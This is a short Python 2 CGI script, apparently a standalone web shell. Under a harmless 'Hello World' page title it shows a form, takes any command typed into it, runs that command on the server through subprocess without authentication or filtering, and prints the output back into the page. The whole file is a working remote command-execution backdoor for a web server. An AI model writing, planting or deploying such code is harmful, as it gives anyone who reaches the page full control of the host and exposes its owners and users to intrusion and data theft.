jeje.py

#!/usr/bin/env python

import cgi
import subprocess

import cgitb
cgitb.enable()

def run(command):
    if not command:
       raise Exception("Commande vide")
    else:
       p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       p.wait()
       out, err = p.communicate()
       return out

print "Content-Type: text/html"
print
print "<html>"
print "<head>"
print "<title>Hello World</title>"
print "</head>"
print "<body>"
print "<form method='post' action='shell.py'>"
print "<input type='text' name='command' />"
print "<input type='submit' value='submit' />"
print "</form>"

form = cgi.FieldStorage()
if 'command' in form:
    cmd = form['command'].value
    print "<font face='monospace'>"
    print "$ %s" % cmd
    print "<br>"
    for i in run(cmd).split('\n'):
        print i, "<br>"
    print "</font>"

print "</body>"
print "</html>"